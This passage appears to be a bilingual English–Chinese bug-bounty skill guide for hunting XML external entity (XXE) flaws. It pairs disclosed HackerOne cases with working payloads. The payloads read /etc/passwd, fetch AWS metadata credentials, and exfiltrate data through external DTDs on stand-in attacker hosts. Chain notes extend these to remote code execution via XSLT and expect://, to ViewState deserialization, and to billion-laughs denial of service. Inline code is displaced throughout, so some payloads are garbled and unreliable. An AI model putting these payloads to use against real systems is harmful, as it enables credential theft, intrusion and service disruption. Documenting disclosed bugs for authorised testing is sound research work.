- Subclass: SVG-upload XXE, OOB-confirmed, chains to SSRF
- Payload: SVG with
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><text>&xxe;</text> - Root cause: server thumbnailed uploaded SVG with an XML parser that resolved external entities; no entity-resolver shutdown
- Year: 2020 — Zivver had no paid program at the time
-
Open-Xchange — Blind XXE via PowerPoint (.pptx) import (H1 #334488)
- Subclass: Office-doc XXE (PPTX = ZIP of XML parts), OOB-required
- Payload: modify inside the .pptx ZIP to include
ppt/slides/slide1.xml; external DTD chains parameter entities to exfil<!DOCTYPE x [<!ENTITY % a SYSTEM "http://attacker/d.dtd"> %a;]>over HTTPfile:///etc/passwd - Root cause: PowerPoint parser pre-rendered the XML parts of the OOXML container before disabling entity resolution
- Year: 2018 — $2,000
-
Uber — Blind OOB XXE on ubermovement.com (H1 #154096)
- Subclass: blind OOB XXE (third-party vendor product), OOB-required
- Payload:
<!DOCTYPE r [<!ENTITY ping SYSTEM "http://attacker.example/">]><search><q>&ping;</q></search> - Root cause: generic XML endpoint in Movement's vendor stack accepted XML and resolved system entities; no data exfil possible (sandboxed), only blind ping
- Year: 2016 — $500
-
Adobe Commerce / Magento — "CosmicSting" CVE-2024-34102 (Assetnote writeup)
- Subclass: XXE-to-RCE (nested deserialization → XXE in Laminas request body) — modern, exploited in the wild
- Payload: REST API JSON request whose nested reaches
simplexml_load_string(); external DTD reads<!DOCTYPE r [<!ENTITY % d SYSTEM "http://attacker/x.dtd"> %d;]>(admin crypt-key) and POSTs it back; key forges admin token → RCEapp/etc/env.php - Root cause: deserialized
Laminas\Http\PhpEnvironment\Requeston attacker-controlled body withoutsimplexml_load_stringprotectionsLIBXML_NOENT - Year: 2024 — Adobe HackerOne bounty paid, CVSS 9.8
以下真实且经过验证的 bug bounty / coordinated disclosure 案例进一步扩展了本 skill。其中三个案例(#7、#9、#10)要求 OOB(blind),会交叉引用 的 OOB-Or-It-Didn't-Happen Gate;如果没有 Collaborator/interactsh callback,就不能声称漏洞成立。
hunt-ssrf-
Mail.ru — Pulse RSS/Atom feed XXE(文件读取) (H1 #505947)
- 子类:直接文件读取 XXE(in-band)
- Payload:放入 RSS feed body →
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>在响应中回显<title>&xxe;</title> - 根因:pulse.mail.ru 的 RSS/Atom ingestion 调用了启用 的 XML parser
external general entities - 年份:2019 — $6,000
-
Twitter — sms-be-vip.twitter.com SOAP/SXMP servlet XXE (H1 #248668)
- 子类:SOAP XXE(Cloudhopper SXMP servlet)——通过 HTTP callback 且通过反射式文件读取得到确认
- Payload:链式注入 SXMP request body
<!DOCTYPE r [<!ENTITY % ext SYSTEM "http://attacker/x.dtd"> %ext;]> - 根因:Cloudhopper SXMP servlet 使用默认 JAXP settings(实体已解析)解析入站 XML
- 年份:2017 — $10,080(经典 SOAP-XXE 参考案例)
-
Zivver — SVG 头像上传 XXE → SSRF (H1 #897244)
- 子类:SVG 上传 XXE,已确认 OOB,可链式利用为 SSRF
- Payload:
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><text>&xxe;</text> - 根因:服务器为上传的 SVG 生成缩略图时,使用了会解析外部实体的 XML parser;未关闭 entity resolver
- 年份:2020 — Zivver 当时没有付费项目
-
Open-Xchange — 通过 PowerPoint(.pptx)导入触发 Blind XXE (H1 #334488)
- 子类:Office 文档 XXE(PPTX = 包含 XML 部件的 ZIP),要求 OOB
- Payload:修改 .pptx ZIP 中的 ,加入
ppt/slides/slide1.xml;外部 DTD 通过参数实体链式外泄<!DOCTYPE x [<!ENTITY % a SYSTEM "http://attacker/d.dtd"> %a;]>file:///etc/passwd - 根因:PowerPoint parser 在禁用实体解析之前,会预渲染 OOXML 容器中的 XML 部件
- 年份:2018 — $2,000
-
Uber — ubermovement.com 上的 Blind OOB XXE (H1 #154096)
- 子类:Blind OOB XXE(第三方 vendor product),要求 OOB
- Payload:
<!DOCTYPE r [<!ENTITY ping SYSTEM "http://attacker.example/">]><search><q>&ping;</q></search> - 根因:Movement vendor stack 中的通用 XML endpoint 接受 XML 并解析 system entities;无法外泄数据(sandboxed),只能完成 blind ping
- 年份:2016 — $500
-
Adobe Commerce / Magento — “CosmicSting” CVE-2024-34102 (Assetnote writeup)
- 子类:XXE-to-RCE(nested deserialization → Laminas request body 中的 XXE)——现代案例,已在真实环境中被利用
- Payload:REST API JSON request,其中嵌套的 到达
simplexml_load_string();外部 DTD 读取<!DOCTYPE r [<!ENTITY % d SYSTEM "http://attacker/x.dtd"> %d;]>(admin crypt-key)并将其 POST 回传;该 key 可伪造 admin token → RCEapp/etc/env.php - 根因:在反序列化攻击者控制的 body 时调用
Laminas\Http\PhpEnvironment\Request,且未使用simplexml_load_string防护LIBXML_NOENT - 年份:2024 — Adobe HackerOne bounty 已支付,CVSS 9.8
Related Skills & Chains
相关 Skills 与链式利用
- — XXE is SSRF-with-XML-syntax once you discover the parser fetches external entities. Chain primitive: blind XXE OOB
hunt-ssrf→ exfil AWS IMDS creds via parameter-entity DTD callback → STS AssumeRole chain. Where pure SSRF is filter-blocked,<!ENTITY % x SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/role">via XXE-in-gopher://can still reach Redis/SMTP.libxml2 - — XXE most often hides inside file-upload features that quietly parse XML (DOCX/XLSX/PPTX, SVG, GPX, KML, OOXML, SOAP attachments). Chain primitive: upload DOCX with malicious
hunt-file-uploadcontaining parameter-entity DTD → OOB file read of[Content_Types].xml//etc/passwd/web.configvia the document parser running server-side..aws/credentials - — XXE → RCE is rare but real on PHP (
hunt-rce), Java (XSLT extensions withexpect:///Xalan), and older XmlSpy/SAXON deployments. Chain primitive: XXE in a Java endpoint using a vulnerable XSLT processor →<xsl:script>→ RCE; or PHP XXE with<xsl:value-of select="rt:exec(rt:getRuntime(),'id')"/>stream wrapper enabled → direct RCE.expect://id - — On-prem SharePoint/Exchange/IIS stacks have a long history of XXE in SOAP/CSOM/EWS endpoints. Chain primitive: anonymous XXE in
hunt-sharepointor EWS SOAP → read_vti_bin/*.asmx→ recoverweb.config→ ViewState deserialization → RCE (the ToolShell-adjacent precondition).<machineKey> - — Reach for the XXE payload tree: standard SYSTEM file read, parameter-entity OOB DTD pattern (the
security-arsenalindirection that makes blind XXE work),%for binary-safe read, XInclude (php://filter/convert.base64-encode/resource=) when DOCTYPE is blocked, billion-laughs/quadratic-blowup for DoS, and the<xi:include href=...>/jar://Java-specific wrappers.netdoc:// - — Apply the Reproducibility + Pre-Severity Gates. An XXE that only triggers an OOB DNS callback with NO data exfil is Low/Medium (information disclosure of "this parser fetches entities"), not Critical. Critical needs proof of file read or internal HTTP — show the actual
triage-validationcontent or the IMDS JSON response in the report./etc/passwd
- — 一旦发现 parser 会获取外部实体,XXE 就相当于使用 XML 语法的 SSRF。链式原语:blind XXE OOB
hunt-ssrf→ 通过 parameter-entity DTD callback 外泄 AWS IMDS creds → STS AssumeRole chain。如果纯 SSRF 被 filter 阻止,XXE-in-<!ENTITY % x SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/role">中的libxml2仍可能访问 Redis/SMTP。gopher:// - — XXE 最常隐藏在静默解析 XML 的文件上传功能中(DOCX/XLSX/PPTX、SVG、GPX、KML、OOXML、SOAP attachments)。链式原语:上传包含恶意
hunt-file-upload的 DOCX,并注入 parameter-entity DTD → 通过服务端运行的 document parser 进行 OOB 文件读取,目标是[Content_Types].xml//etc/passwd/web.config。.aws/credentials - — XXE → RCE 很少见,但确实存在于 PHP(
hunt-rce)、Java(带expect:///Xalan 的 XSLT extensions)以及旧版 XmlSpy/SAXON deployments。链式原语:使用存在漏洞的 XSLT processor 的 Java endpoint 中发现 XXE →<xsl:script>→ RCE;或者在启用<xsl:value-of select="rt:exec(rt:getRuntime(),'id')"/>stream wrapper 的 PHP XXE 中直接实现 RCE。expect://id - — 本地部署的 SharePoint/Exchange/IIS stacks 长期以来一直存在
hunt-sharepoint或 EWS SOAP endpoints 中的 XXE。链式原语:匿名 XXE → 读取_vti_bin/*.asmx→ 恢复web.config→ ViewState deserialization → RCE(这是 ToolShell 相邻攻击的前置条件)。<machineKey> - — 获取 XXE payload tree:标准 SYSTEM file read、parameter-entity OOB DTD pattern(使 blind XXE 生效的
security-arsenalindirection)、用于二进制安全读取的%、在 DOCTYPE 被阻止时使用的 XInclude(php://filter/convert.base64-encode/resource=)、用于 DoS 的 billion-laughs/quadratic-blowup,以及 Java 专用的<xi:include href=...>/jar://wrappers。netdoc:// - — 应用 Reproducibility + Pre-Severity Gates。只触发 OOB DNS callback、但没有数据外泄的 XXE 属于 Low/Medium(仅泄露“该 parser 会获取实体”这一信息),而不是 Critical。Critical 需要证明文件读取或内部 HTTP 访问——在报告中展示实际的
triage-validation内容或 IMDS JSON 响应。/etc/passwd